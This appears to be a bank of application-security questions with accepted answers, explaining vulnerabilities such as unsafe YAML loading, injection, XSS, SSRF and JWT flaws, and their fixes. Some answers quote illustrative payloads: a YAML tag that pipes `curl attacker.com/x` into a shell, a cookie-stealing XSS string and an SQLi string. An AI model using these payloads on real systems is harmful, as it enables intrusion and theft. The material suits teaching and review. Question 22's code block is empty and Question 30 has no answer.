Question 1

During a code review of a Python service, you find an endpoint loading user-supplied configuration files using an unsafe YAML loader. Explain how this enables remote code execution through arbitrary object instantiation and rewrite the code to use safe parsing methods.

Accepted Answer

PyYAML's `yaml.load()` without an explicit safe loader (or with `Loader=yaml.Loader`/`UnsafeLoader`) doesn't just parse plain data structures — it honors YAML tags like `!!python/object/apply`, which tell the parser to construct arbitrary Python objects and even invoke callables while building the document. If the YAML content comes from a user, the vulnerability is entirely inside the deserializer itself: the attacker doesn't need any bug in your application logic, just the ability to submit YAML text.

For example, a payload like `!!python/object/apply:os.system ["curl attacker.com/x | sh"]` gets executed the instant `yaml.load()` parses it, before your code ever inspects the resulting object.

The fix is to use `yaml.safe_load()`, which restricts construction to plain types (dict, list, str, int, bool, None) and never invokes arbitrary constructors:
```python
# Vulnerable
config = yaml.load(user_uploaded_file, Loader=yaml.Loader)

# Safe
config = yaml.safe_load(user_uploaded_file)
```
If you legitimately need a few custom tags, use `yaml.SafeLoader` and register only the specific constructors you trust via `add_constructor`, rather than falling back to the full loader.

Question 2

A user registration validator uses a nested-quantifier regular expression to validate email addresses. Explain how nested quantifiers cause exponential backtracking (ReDoS) on malicious strings and demonstrate how to refactor the regex to ensure linear evaluation time.

Accepted Answer

A regex like `^([a-zA-Z0-9._%-]+)+@...` nests one quantifier (`+` inside the group) inside another (`+` on the group itself). When the input doesn't match, a backtracking engine (used by most languages — Python `re`, JavaScript, Java) has to try every possible way of splitting the string across the inner and outer repetitions before giving up. The number of such splits grows exponentially with input length, so a string that's almost-but-not-quite a match can make the engine burn CPU for seconds or minutes on a single request.

Concretely, feeding a long run of valid characters followed by one character that breaks the match (e.g. 40+ letters followed by `!`) into `^([a-zA-Z0-9._%+-]+)+@` causes catastrophic backtracking — an attacker can DoS the service by submitting one such string to the registration form.

The fix is to remove the ambiguity: use a single, non-nested quantifier per character class so there's only one way to consume each character.
```
# Vulnerable
^([a-zA-Z0-9._%+-]+)+@[a-zA-Z0-9.-]+$

# Fixed — no nested quantifier, linear time
^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$
```
As a second layer of defense, run regex matching on untrusted input through an engine with guaranteed linear-time matching (Google's RE2, or a matching timeout) so a bad pattern can't hang a worker thread regardless of how it was written.

Question 3

A background document processing worker checks if a temporary file exists before writing parsed output into a shared temp directory. Walk through how an attacker can exploit this Time-of-Check to Time-of-Use (TOCTOU) gap using symlink swapping, and show how to fix it using atomic file descriptor operations.

Accepted Answer

The vulnerable pattern is roughly "if the path doesn't exist, write to it" as two separate steps: `os.path.exists(path)` followed later by `open(path, 'w')`. Between those two steps there's a window where another process with write access to the shared temp directory can act. An attacker who can create files there deletes or races to replace the target path with a symlink pointing at a sensitive file — say the app's own config or a file owned by a more privileged user — right after the existence check passes but before the write happens.

When the worker's write executes, the OS follows the symlink transparently, so the attacker-chosen target gets overwritten with the worker's output, potentially corrupting a config file the app trusts or, if the worker runs with elevated privileges, escalating the attacker's effective access.

The fix is to make check-and-create one atomic operation instead of two, and to refuse to follow an existing symlink:
```python
import os
# O_EXCL fails immediately if the path already exists (file OR symlink) — no gap to race
fd = os.open(path, os.O_CREAT | os.O_EXCL | os.O_WRONLY, 0o600)
with os.fdopen(fd, 'wb') as f:
    f.write(data)
```
Using `tempfile.mkstemp()` (which internally uses `O_EXCL`) or per-request unique, unpredictable filenames in place of a shared, predictable temp path removes the race entirely.

Question 4

A Django backend uses an ORM, but an analytics query constructs dynamic sort-column names via raw string concatenation inside an order_by clause. How does this introduce SQL injection despite using an ORM, and how do you enforce query parameterization?

Accepted Answer

ORMs parameterize *values* — anything passed as a bound parameter to `.filter()` gets sent to the database separately from the SQL text, so the database never confuses it with syntax. But column names, table names, and `ASC`/`DESC` keywords aren't values — they have to be part of the query string itself, and most ORMs don't parameterize them. If code does something like `Model.objects.order_by(f"{sort_column} {direction}")` where `sort_column` comes straight from a query parameter, you're back to raw string concatenation, and the ORM's normal protections simply don't apply to that fragment.

An attacker can pass a sort column crafted as a boolean-based blind injection payload, extracting data one bit at a time through response timing or content differences, entirely bypassing the ORM's parameterized-query safety net for values.

The fix is to never let user input become part of the SQL text — map it through a fixed allow-list first, so only pre-approved column names ever reach `order_by`:
```python
ALLOWED_SORT = {"name": "name", "created": "created_at"}
column = ALLOWED_SORT.get(request.GET.get("sort"), "created_at")
prefix = "-" if request.GET.get("dir") == "desc" else ""
qs = Model.objects.order_by(f"{prefix}{column}")
```
The user's raw input never touches the query string — it only ever selects a key from a dictionary you control.

Question 5

A Node.js native C++ addon parses binary image headers by copying incoming buffer data into a fixed-size destination without checking bounds. How do you audit foreign function interfaces (FFI) and native bindings for memory corruption vulnerabilities, and how do you rewrite the parser using bounds-checked memory copies?

Accepted Answer

Native addons sit outside V8's memory-safety guarantees — once JS data crosses the N-API/node-addon-api boundary into C++, an unchecked `memcpy` is a full memory-corruption bug (buffer overflow, potential RCE) reachable directly from untrusted JS input, with none of the sandboxing that would normally contain a JS-level bug.

Auditing this class of code means: (1) enumerate every boundary function where a `Buffer`/`TypedArray` from JS is passed into native code; (2) trace every `memcpy`/`strcpy`/pointer-arithmetic call fed by that data and check whether the copy length is validated against the *actual* destination capacity, not just assumed; (3) fuzz the parsing entry point directly (AFL, libFuzzer) with malformed headers of varying declared lengths; (4) build and run the addon under AddressSanitizer in CI so any out-of-bounds write is caught immediately rather than surfacing as a rare production crash.

The actual fix is to always clamp the copy length to the smaller of the source-declared length and the destination buffer's real size, and reject rather than truncate silently when the declared length is invalid:
```cpp
// Vulnerable — headerLength comes from attacker-controlled input
memcpy(dest, srcBuffer.Data(), headerLength);

// Fixed
if (headerLength > sizeof(dest)) {
  Napi::RangeError::New(env, "header too large").ThrowAsJavaScriptException();
  return;
}
memcpy(dest, srcBuffer.Data(), headerLength);
```

Question 6

Your AppSec team introduces a SAST scanner in CI that blocks pull requests on any finding, resulting in developer complaints about 60% false-positive rates on test files and dead code. How do you redesign SAST pipeline gating, inline PR review annotations, and rule baselining to maintain velocity without sacrificing critical security gates?

Accepted Answer

Blocking every PR on any finding, at a 60% false-positive rate, trains developers to route around the tool rather than trust it — that's the actual failure mode to fix, not just the noise. The redesign starts with narrowing what actually blocks a merge: gate only on high/critical severity findings in high-confidence rule categories (hardcoded secrets, SQL/command injection, known-bad crypto), and surface everything else as non-blocking inline PR annotations via SARIF upload to GitHub/GitLab code scanning, so developers see the finding in context without being stopped.

Next, scope out the specific false-positive source: exclude test paths and known dead-code directories from the scan (`**/*.test.js`, `__tests__/**`, deprecated modules pending removal) rather than tuning individual rules against them repeatedly.

Finally, baseline existing findings — snapshot the current state as "accepted debt" so the gate only fires on *new* findings introduced by the diff, not the whole codebase's backlog. Track the false-positive rate itself as an SLO the AppSec team owns and reports on, and require any suppression to carry a short reviewer-visible justification rather than a silent disable — this keeps the gate meaningful without becoming background noise developers learn to ignore.

Question 7

An automated Software Composition Analysis (SCA) tool flags a critical CVE in a deeply nested transitive dependency that the direct upstream package has not patched. Walk through your triage strategy: evaluating exploit reachability, applying dependency overrides/resolutions, or introducing compensating runtime controls.

Accepted Answer

The first question is reachability, not severity: is the vulnerable function in that transitive dependency actually on a code path your application calls? A CVE in a logging library's rarely-used XML-parsing helper doesn't matter if your app never touches that function. Tools like `npm ls`, `osv-scanner`, or a commercial SCA's call-graph analysis can confirm whether the vulnerable code is reachable from your own entry points — if it isn't, you can downgrade the severity and document the reachability finding as the justification, re-checking on the next scan in case usage changes.

If it *is* reachable, the next move is forcing a patched version even though the direct upstream package hasn't bumped its own dependency yet — package managers support this without waiting on upstream:
```json
"overrides": { "lodash": "4.17.21" }
```
(or Yarn `resolutions`, Maven `dependencyManagement`). Run the full test suite afterward, since forcing a version can introduce subtle breaking changes the direct dependency wasn't expecting.

If no patched version exists anywhere in the tree, add a compensating control at the point where your app invokes the vulnerable path — input validation that neutralizes the specific attack vector, a WAF rule matching the known exploit signature, or a feature flag disabling that code path entirely — as a temporary bridge until a real patch ships upstream.

Question 8

Design a multi-layered secret detection pipeline that combines local pre-commit git hooks, server-side push protection in your Git hosting provider, and automated secret revocation webhooks to detect and remediate committed API keys within seconds of code submission.

Accepted Answer

Layer one is a local pre-commit hook (using something like `gitleaks` or `detect-secrets`) that scans staged changes before a commit is even created — this catches the mistake at the earliest possible point, before the secret ever leaves the developer's machine, at zero network cost.

Layer two is server-side push protection (GitHub secret scanning push protection, GitLab's equivalent), which inspects the push itself and can reject it outright if a recognized secret pattern is detected. This matters because pre-commit hooks can be skipped (`--no-verify`) or simply not installed on every machine — push protection is the backstop that doesn't depend on developer-side tooling being present.

Layer three handles anything that still slips through — a secret pattern not yet recognized, or a push that bypassed protection via an admin override. An automated webhook receives the provider's secret-scanning alert the moment it fires and calls the relevant service's own API directly (AWS IAM key deletion, Stripe key rotation endpoint, etc.) to revoke the exposed credential within seconds, without waiting on a human to see an alert and act — the revocation itself is the remediation, not just the notification.

Question 9

How do you scale a threat modeling program across 30 agile development squads without the central AppSec team becoming a bottleneck, utilizing a Security Champions network and lightweight threat modeling templates integrated into user stories?

Accepted Answer

A central AppSec team simply can't sit in every design review across 30 squads — trying to forces a choice between becoming a bottleneck that slows every release, or rubber-stamping reviews without real depth. The fix is to distribute the first pass of threat modeling out to the squads themselves via a Security Champions network: one developer per squad, given extra security training and a modest time allocation (often around 10%), who runs lightweight threat modeling as part of the squad's own design step.

The template has to be lightweight enough to fit inside a user story's "design" checklist, not a whiteboard workshop — something like a four-question STRIDE pass: what are we building, what can go wrong, what are we doing about it, did we do a good enough job. This gets threat modeling done at the moment of design, by the people who understand the feature best, without needing a scheduled session with a central team.

The central AppSec team's role shifts to reviewing only escalated, genuinely high-risk items the champions flag — a new external trust boundary, handling of regulated data, a new third-party integration — plus running periodic training and office hours to keep the champions' skills current. This turns the central team into a force multiplier and an escalation path rather than a mandatory gate every design has to pass through.

Question 10

You need to automate Dynamic Application Security Testing (DAST) in CI against short-lived ephemeral preview environments. How do you configure automated authentication bootstrapping, role-based session token rotation, and safe non-destructive crawling to prevent DAST scanners from triggering test data corruption?

Accepted Answer

Authentication bootstrapping needs to work without any human logging in manually, since the environment might exist for only minutes. A dedicated test service account is created via the same signup/login flow the real app uses, its long-lived refresh token stored as a CI secret, and a pre-scan pipeline step exchanges that refresh token for a fresh, short-lived access token scoped specifically to the ephemeral environment being tested that run.

Session/token rotation matters because each preview deployment is a brand-new environment — reusing a token minted for a previous run risks it being stale, invalidated, or leaking a live credential across environments that shouldn't share it. Mint credentials per-run, scoped to that run's specific role (e.g., separate admin vs. standard-user tokens if you want the DAST scan to exercise both privilege levels).

For non-destructive crawling, configure the DAST tool (e.g., OWASP ZAP) with an explicit exclusion list for destructive operations — DELETE endpoints, payment capture, any password-reset flow that sends real emails — either by URL pattern or by tagging routes as safe-to-fuzz versus not. Point the environment's database at disposable, synthetic seed data rather than any real dataset, so even if the scanner does corrupt something, it's discarded the moment the ephemeral environment is torn down at the end of the run.

Question 11

An engineering team is overwhelmed by 500 open CVEs with CVSS scores above 8.0. How do you combine CVSS base scores with Exploit Prediction Scoring System (EPSS) probabilities, known-exploited-vulnerability catalog data, and internal network exposure to prioritize real-world exploit risk?

Accepted Answer

CVSS alone measures theoretical severity — how bad a vulnerability *could* be — not how likely it is to actually be exploited, so 500 "critical" CVEs by CVSS score isn't itself a prioritized list. EPSS adds real signal: it's a probability (0 to 1) that a given CVE will see exploitation in the wild in the next 30 days, derived from observed exploitation data, so filtering to high-EPSS CVEs first surfaces what's actually being weaponized right now versus what's merely severe on paper.

CISA's Known Exploited Vulnerabilities (KEV) catalog is a hard override on top of that — any CVE on the KEV list is confirmed being actively exploited in the wild today, and jumps to top priority regardless of its CVSS or EPSS numbers.

Finally, layer internal exposure on top: is the affected asset internet-facing, does it handle sensitive data, and is there already a compensating control (WAF, network segmentation, no direct route from the internet) in front of it. A concrete example: a CVSS 9.8 finding in an internal-only nightly batch job with low EPSS ranks below a CVSS 7.5 finding in a public-facing login endpoint that also happens to be on the KEV list — the second is being exploited right now, against something an attacker can actually reach.

Question 12

A zero-day RCE vulnerability is announced in an open-source framework used across 40 production microservices, but official patches will not be released for 48 hours. How do you coordinate rapid inventory identification, temporary WAF virtual patching, and network egress lockdown to mitigate risk immediately?

Accepted Answer

The first move is inventory: query your SBOM/dependency-tracking system (or, lacking one, run a scripted grep across every repo's manifest files) to get the exact list of which of the 40 services actually use the affected framework version, and which of those are internet-facing versus purely internal — this tells you where to spend the next 48 hours' worth of urgency.

Second, deploy a WAF virtual patch — a signature or rule matching the known exploit's request pattern (specific header, payload shape, vulnerable endpoint path) — across all affected, internet-facing services at the edge/CDN in one coordinated push. This buys real time without touching application code, since a code fix isn't available yet anyway.

Third, lock down network egress on the affected services: most RCE exploits need to either open a reverse shell or exfiltrate data outward, so tightening egress firewall rules to an explicit allow-list of known-good destinations limits the blast radius even if the WAF signature has gaps or gets bypassed.

Throughout, run a dedicated incident channel tracking real-patch rollout per service as the framework's official fix ships, and only remove the temporary WAF/egress controls once each service is verified patched and re-tested — not simply once the patch is available.

Question 13

A bug bounty researcher submits a report showing they can manipulate a currency parameter in a mobile app to purchase goods for negative amounts, claiming a critical bounty. How do you validate the reproducibility in staging, assess financial blast radius, determine bounty payout severity, and coordinate the hotfix deployment?

Accepted Answer

First, reproduce the exact reported steps in an isolated staging environment using the researcher's own request — never test a live payment-manipulation bug against production, since a working exploit could actually move real money. Confirm the negative amount genuinely reaches the payment processor or internal ledger rather than being caught by a downstream validation layer that the researcher didn't see.

Next, assess blast radius: check production logs for any anomalous negative-amount transactions that might indicate this is already being actively exploited, and calculate the theoretical maximum loss if the flaw were run in a tight loop before a fix ships.

For payout severity, this is a business-logic flaw with direct, quantifiable financial impact — typically rated High or Critical under most bounty program rubrics (whether that's a CVSS environmental score adaptation or a custom financial-impact matrix), with the payout reflecting both the severity tier and the fact that the researcher delivered a working, reproducible exploit chain rather than a theoretical concern.

Finally, the missing check is almost always server-side amount validation (reject any amount ≤ 0 before it reaches the payment layer) — patch it, ship as an emergency out-of-band release given the financial exposure, and re-run the researcher's exact original repro against the fix before closing the report and releasing payment.

Question 14

A developer requests permanent suppression for a high-severity SAST alert claiming the tainted data is cleaned by an undocumented sanitization function. Walk through your validation process to prove or disprove sanitization adequacy before approving security suppression rules.

Accepted Answer

Never approve a suppression on the developer's claim alone — SAST tools flag this exact pattern because they typically can't "see into" a custom sanitizer they don't recognize, so the finding itself is often correct that the tool can't verify safety, not necessarily that the code is unsafe. The validation has to trace the actual data flow: confirm the claimed sanitizer function is called on *every* code path that reaches the sink, not just the happy path the developer tested — a conditional branch that skips sanitization under some input shape is a common way these suppressions turn out to be wrong.

Then verify the sanitizer is actually sufficient for that specific sink's context — a function that's safe for an HTML-body sink can be completely unsafe for a sink that's a URL attribute, a JS string context, or a SQL query, because each context has different characters that need escaping.

The most reliable check is to stop reasoning about the code and just attack it: write the actual payload that should be neutralized (an XSS string, a SQLi probe) and run it through the real sanitizer function in isolation to confirm its behavior empirically. If it holds up, approve the suppression scoped narrowly to that specific rule and line — never a blanket file-level exclusion — with a comment linking to this validation so a future reviewer doesn't have to redo the work from scratch.

Question 15

When an unpatchable legacy ERP application has a verified remote code execution vulnerability in its HTTP reporting endpoint, design a WAF custom regex and payload-inspection rule that virtually patches the flaw without breaking valid multipart form uploads.

Accepted Answer

The key design constraint is narrowness: a broad rule like "block anything that looks like binary/XML in a multipart body" will break legitimate report uploads along with the exploit. Instead, scope the rule to the specific endpoint, the specific vulnerable parameter within it, and the specific payload signature that triggers the RCE (a known serialized-object marker, a template-injection sequence, or a specific malicious class reference) — leaving every other field and every other endpoint completely untouched.

```
SecRule REQUEST_URI "@streq /reporting/export" \
  "chain,deny,status:403,id:900100,msg:'Virtual patch: legacy ERP RCE'"
  SecRule ARGS:report_format "@rx (?i)(java\.lang\.Runtime|ProcessBuilder|<%.*%>)"
```

Before enabling this in blocking mode, run it in detection/log-only mode against real production traffic for a period and review the logs for any false-positive hits on legitimate uploads — specifically test it against a sample set of known-good multipart submissions to confirm the rule's regex doesn't accidentally match benign content in that same field. Only flip it to actively blocking once you've confirmed zero false positives, and keep the rule in place only until the vendor ships (or you apply) a real code-level fix, since a WAF rule is a stopgap that depends on the exploit signature never changing shape.

Question 16

In a GraphQL API, querying a user's nested organization billing invoices allows an authenticated standard user to retrieve invoices belonging to another company. How do you implement object-level authorization (BOLA) inside nested field resolvers or data loaders rather than relying solely on top-level query guards?

Accepted Answer

Top-level query guards only answer "can this user run this query type at all" — they don't re-check ownership at every level as the resolver walks deeper into the object graph. A query like `me { organization { invoices { amount } } }` can have an `organization` resolver that returns whatever org ID is requested without confirming the caller actually belongs to it, and an `invoices` resolver that just does `Invoice.findByOrg(orgId)` with no check that `orgId` matches the current user's own organization. The top-level guard ("you're logged in, you can query invoices") passed, but the actual object-level authorization was never checked at the field that returns someone else's data.

The fix is to push authorization down into every resolver or data loader that returns an owner-scoped record, not just the entry-point query — each one independently verifies the record actually belongs to the requesting context before returning it, ideally through a shared helper so every resolver author gets this for free instead of having to remember it individually:
```js
const invoicesResolver = async (org, args, context) => {
  if (org.id !== context.user.organizationId) throw new ForbiddenError();
  return db.invoices.findByOrg(org.id);
};
```
This way, even if an attacker crafts a query that reaches the invoices field through some unexpected path in the graph, the same ownership check fires regardless of how deep or via which parent type the field was reached.

Question 17

An account update endpoint accepts raw JSON and passes it directly to an ORM update method. An attacker injects extra privileged fields like is_admin and verified into the payload. Explain mass assignment mechanics and how DTO whitelisting or strict schema validation eliminates this vulnerability.

Accepted Answer

Mass assignment happens when a handler does something like `User.update(userId, req.body)` — every key present in the client's JSON gets applied to the model, including fields that were never meant to be client-writable, like `is_admin`, `verified`, or `balance`. The root problem is trusting the *shape* of the entire incoming payload instead of explicitly deciding which fields this endpoint is allowed to accept. Since the attacker controls the request body, they simply add `"is_admin": true` alongside the legitimate fields they're supposed to be updating, and the ORM has no way to know that field wasn't intentional.

The fix is to define an explicit allow-list — a DTO or schema (Zod, Joi, class-validator, or a Django/DRF serializer) — that declares exactly which fields this endpoint accepts from the client, and construct the update from only the validated, whitelisted result rather than passing `req.body` straight through:
```js
const UpdateProfileSchema = z.object({ name: z.string(), email: z.string().email() });
const data = UpdateProfileSchema.parse(req.body); // unknown keys like is_admin are rejected/stripped
await User.update(userId, data);
```
Any field the schema doesn't declare simply never reaches the ORM call, regardless of what the attacker includes in the raw request.

Question 18

An API validates JWTs by dynamically fetching public keys from a URL specified inside the token's own header, or using an embedded key parameter. Walk through how an attacker can forge administrative tokens using self-hosted key-set endpoints, and how to lock down key-set resolution.

Accepted Answer

Some JWT libraries support header claims like `jku` (a URL pointing to a JSON Web Key Set) or an inline `jwk` (the public key embedded directly in the token) that tell the verifier where to get the key to check the signature against. If the verifier blindly trusts and fetches whatever the token itself specifies, the attacker doesn't need to steal the real signing key at all — they generate their own key pair, host the public half at a URL they control, sign a forged token (with `role: admin` or similar) using their own private key, and set the `jku` header to point at their hosted key set.

The server fetches the key from the attacker's URL exactly as instructed, verifies the signature against it, and the verification "succeeds" — because the attacker signed the token with the very key the server was told to trust, and the server never independently confirmed that key belongs to a legitimate issuer.

The fix is to never resolve verification keys from data the token itself supplies. Hardcode or explicitly whitelist the expected issuer's JWKS URL server-side (fetched from your own trusted configuration, not the incoming token's headers), or pin a fixed public key/certificate per known issuer, and ignore `jku`/`jwk` header claims in the token entirely during verification.

Question 19

A GraphQL endpoint is vulnerable to denial-of-service via deeply recursive nested queries. How do you implement AST query analysis to enforce strict depth limiting, cost-weighted complexity analysis, and rate-limiting based on calculated query points?

Accepted Answer

A query like `user { friends { friends { friends { ... } } } }` can force resolvers to fan out exponentially — each nesting level multiplies the number of records fetched by the level above it, and a handful of nesting levels can turn one HTTP request into millions of database calls, exhausting CPU and DB connections.

The first defense layer is static depth limiting: before execution, walk the query's AST and reject anything exceeding a configured maximum nesting depth (e.g., using `graphql-depth-limit`), which catches the obvious recursive-nesting case cheaply, before any resolver runs.

```js
const depthLimit = require('graphql-depth-limit');
const validationRules = [depthLimit(6)];
```

Depth alone isn't enough, though — a shallow query with a huge `first: 10000` argument on a list field can be just as expensive as a deep one. Cost-weighted complexity analysis assigns each field a cost, scales list fields by their requested limit argument, and sums the whole query's estimated cost at parse time (via something like `graphql-cost-analysis`), rejecting anything over a fixed budget regardless of shape.

Finally, rate-limit per client based on *cumulative query points consumed* over a time window rather than raw request count — since one sufficiently expensive query can do more damage than a hundred cheap ones, counting requests alone misses the real cost signal entirely.

Question 20

What is SQL injection and how do you prevent it?

Accepted Answer

SQL injection happens when untrusted input gets concatenated directly into a SQL query string, letting an attacker change the structure of the query rather than just supplying a data value. A classic example: `"SELECT * FROM users WHERE username='" + input + "'"` — if `input` is `' OR '1'='1`, the query's WHERE clause becomes always-true, returning every row (or, on a login form, logging the attacker in as the first user in the table) instead of matching a specific username.

The fix is parameterized queries (prepared statements), where the query structure and the values are sent to the database separately — the driver never lets user input be interpreted as SQL syntax, no matter what characters it contains.
```js
// Vulnerable
db.query(`SELECT * FROM users WHERE username='${username}'`);
// Safe
db.query('SELECT * FROM users WHERE username = ?', [username]);
```
ORMs give you this by default for normal filtering, but the same discipline has to be applied manually anywhere raw SQL fragments are still built by hand.

Question 21

What is Cross-Site Scripting (XSS) and what are the differences between stored, reflected, and DOM-based XSS?

Accepted Answer

XSS lets an attacker get their own JavaScript to run in a victim's browser, in the security context of the vulnerable site — meaning it can read cookies, make authenticated requests, or manipulate the page as if it were the site's own code. The three types differ in where the malicious payload lives and how it reaches the victim: stored XSS saves the payload server-side (a comment, a profile field) and serves it to every visitor who views that content; reflected XSS bounces the payload straight from the request (commonly a query parameter) back into the HTML response, so it requires tricking a victim into clicking a specially crafted link; DOM-based XSS never touches the server at all — client-side JS reads something like `location.hash` and writes it unsafely into the DOM via `innerHTML`.

A concrete DOM-based example: a search page doing `resultsDiv.innerHTML = "You searched for: " + location.search` lets a URL like `?q=<img src=x onerror=alert(document.cookie)>` execute arbitrary JS the moment the page loads.

Prevention is the same across all three: encode output for the context it's rendered into (HTML-escape, attribute-escape, or JS-string-escape as appropriate), prefer `textContent` over `innerHTML` when inserting untrusted text, and set a Content-Security-Policy as a defense-in-depth layer that limits what an XSS payload could do even if one slips through.

Question 22

What is CSRF (Cross-Site Request Forgery) and how do you prevent it?

Accepted Answer

CSRF exploits the fact that browsers automatically attach cookies to any request sent to a site, even when that request was triggered from an entirely different, malicious page the victim happens to have open. If a bank's `/transfer` endpoint relies only on the session cookie for authentication and performs no other check, a malicious page can silently auto-submit a form pointed at that endpoint, and the victim's browser dutifully attaches their valid session cookie — the transfer executes without the victim ever intending it. The primary defense is an anti-CSRF token: a random, unpredictable value tied to the user's session that gets embedded in every state-changing form and validated server-side on submission. Because the attacker's page runs on a different origin, it can't read this token to include it in its forged request. ```html ``` Modern browsers add a strong second layer: `SameSite=Lax` (or `Strict`) cookies, which stop the browser from attaching the session cookie at all on most cross-site requests — combining both gives solid protection even against edge cases either mechanism alone might miss.

Question 23

What is the difference between authentication and authorization?

Accepted Answer

Authentication answers "who are you" — verifying identity, typically via a password, MFA code, or biometric. Authorization answers "what are you allowed to do" — checking permissions or roles once identity is already established. They're sequential and independent: you authenticate once per session, then authorization gets checked on every individual action you attempt afterward.

A concrete example: logging into a SaaS dashboard with your email and password is authentication. The system then deciding whether your specific role permits you to delete another user's account is authorization — you can be perfectly, successfully authenticated as yourself and still be correctly denied that action.

A very common real bug comes from conflating the two: an app authenticates correctly and only enforces authorization at the UI layer (hiding a "delete" button from non-admins) while the underlying API endpoint performs no server-side authorization check at all. Any authenticated user — admin or not — can call that endpoint directly (via curl or dev tools) and delete records the UI never let them see a button for, because the actual gate was never enforced where it mattered.

Question 24

What is the OWASP Top 10 and how should it be used in practice?

Accepted Answer

The OWASP Top 10 is a community-maintained, periodically updated list (roughly every 3-4 years) ranking the most critical web application security risks, built from real-world incident data and practitioner surveys rather than theoretical concerns. The 2021 edition covers categories like Broken Access Control, Cryptographic Failures, Injection, Insecure Design, Security Misconfiguration, Vulnerable and Outdated Components, Identification and Authentication Failures, Software and Data Integrity Failures, Security Logging and Monitoring Failures, and Server-Side Request Forgery.

In practice it's most useful as a baseline for security training and secure-code-review checklists — a shared vocabulary between developers and security teams — and it's referenced by compliance frameworks like PCI-DSS as a minimum bar to clear. The important caveat is that it's a *minimum*, not a ceiling: passing an automated scan against the Top 10 categories doesn't mean an application is secure, since it deliberately doesn't cover business-logic flaws, application-specific abuse cases, or anything unique to a given product's threat model — those still need dedicated threat modeling and manual review.

Question 25

How should user passwords be stored securely on the server?

Accepted Answer

Passwords should never be stored in plaintext or with reversible encryption, and a fast, general-purpose hash like plain MD5 or unsalted SHA-256 isn't sufficient either — those are designed to be fast, which is exactly the wrong property for password hashing, since it lets an attacker who steals the hash database try billions of guesses per second on commodity GPUs.

The right approach is a slow, memory-hard, purpose-built password hashing algorithm — bcrypt, scrypt, or Argon2 (OWASP's current top recommendation) — each of which bakes in a unique, random salt per password automatically and a tunable "work factor" so the computation stays expensive to brute-force even as hardware gets faster over time.
```js
const bcrypt = require('bcrypt');
const hash = await bcrypt.hash(password, 12); // salt is generated and embedded automatically
const matches = await bcrypt.compare(candidatePassword, hash);
```
The work factor should be periodically increased as hardware improves, and any legacy fast-hash storage should be migrated by re-hashing passwords with the strong algorithm the next time each user successfully logs in.

Question 26

What are the most common security pitfalls when implementing JWT-based authentication?

Accepted Answer

A frequent mistake is trusting the algorithm the token itself declares in its header rather than hardcoding the expected algorithm server-side — this opens the door to algorithm-confusion attacks where an attacker swaps a signature scheme the verifier is willing to accept for one it shouldn't trust. Another is skipping claim validation entirely: not checking `exp` (expiry), `nbf` (not-before), `iss` (issuer), or `aud` (audience) means an expired token, or a token meant for a different service, can still be accepted.

Storage matters too: keeping JWTs in `localStorage` makes them readable by any XSS payload that manages to run on the page, whereas an `httpOnly` cookie is invisible to JavaScript entirely. And because JWTs are stateless by design, there's no built-in revocation — a stolen token stays valid until it naturally expires, unless the system maintains a denylist or deliberately keeps access-token lifetimes very short paired with a rotating refresh token.

Finally, a JWT's payload is only base64-encoded, not encrypted — anyone holding the token can decode and read every claim in it, so sensitive data (PII, internal IDs meant to stay private) should never be placed in the payload assuming it's protected. Good defaults: short-lived access tokens, refresh token rotation, `httpOnly`+`Secure`+`SameSite` cookies for storage, and strict server-side algorithm and claim validation on every request.

Question 27

What is CORS and how does a common misconfiguration lead to a real vulnerability?

Accepted Answer

CORS is a browser-enforced mechanism that relaxes the same-origin policy, letting a server explicitly opt specific origins into reading its cross-origin responses via the `Access-Control-Allow-Origin` header. It exists so that, say, a frontend on one domain can call an API on another domain while the browser still protects users by default.

The dangerous misconfiguration is when a server dynamically reflects whatever `Origin` header the request sent back as the allowed origin, combined with `Access-Control-Allow-Credentials: true`. That combination means literally any website on the internet can make an authenticated (cookie-carrying) request to the API from a victim's browser and actually read the response — completely defeating the purpose of CORS, since it effectively grants every origin in existence the same trust as a legitimate partner frontend.
```js
// Vulnerable — reflects any origin, then allows credentials
res.setHeader('Access-Control-Allow-Origin', req.headers.origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');

// Safe — explicit allow-list
const allowed = ['https://app.example.com'];
if (allowed.includes(origin)) res.setHeader('Access-Control-Allow-Origin', origin);
```
The fix is always an explicit, server-maintained allow-list of trusted origins, never a wildcard or a blind reflection, whenever credentials are involved.

Question 28

What is Server-Side Request Forgery (SSRF) and how do you defend against it?

Accepted Answer

SSRF happens when an application takes a user-supplied URL and fetches it from the server side — a "load this image from a URL" feature, a webhook validator, a PDF generator rendering remote content — without restricting where that fetch is allowed to go. Because the request originates from the server, not the attacker's own machine, the attacker can reach destinations they'd never be able to hit directly: cloud provider metadata endpoints (`http://169.254.169.254/latest/meta-data/`, which can leak IAM credentials), internal-only admin panels, or `localhost` services sitting behind the perimeter firewall.

Defending against it requires more than a naive hostname check, because attackers route around simple blocklists using DNS rebinding (a domain that resolves to a public IP at check-time but an internal IP at request-time) or HTTP redirects to a different host. Effective mitigation: resolve the URL's final destination IP and validate it against a deny-list of private/link-local ranges *after* DNS resolution (not just checking the hostname string), disable automatic redirect-following to a different host than the one validated, and where possible restrict outbound fetches to an explicit allow-list of expected external domains rather than trying to block every dangerous destination.

Question 29

What is IDOR (Insecure Direct Object Reference) and how is it fixed?

Accepted Answer

IDOR occurs when an endpoint accepts an identifier directly from client input — `/api/invoices/1024` — and fetches the corresponding record purely by that ID, without confirming the requesting user is actually allowed to access it. Simply incrementing the URL to `/api/invoices/1025` then returns someone else's invoice, because the only thing the server checked was "does a record with this ID exist," not "does this record belong to the person asking."

The fix is to make every ownership-scoped data access path enforce the ownership check as part of the query itself, not as a separate afterthought: `WHERE id = ? AND user_id = ?` instead of `WHERE id = ?` followed by a hope that nobody guesses another ID. Where record IDs are predictable and sequential, switching to UUIDs makes casual enumeration harder, but that's defense-in-depth only — it's not a substitute for the actual authorization check, since a UUID that leaks (via a referrer header, a shared link, or a log line) is just as exploitable without the ownership check in place.

Question 30

What is an XXE (XML External Entity) attack and how do you prevent it?

Accepted Answer

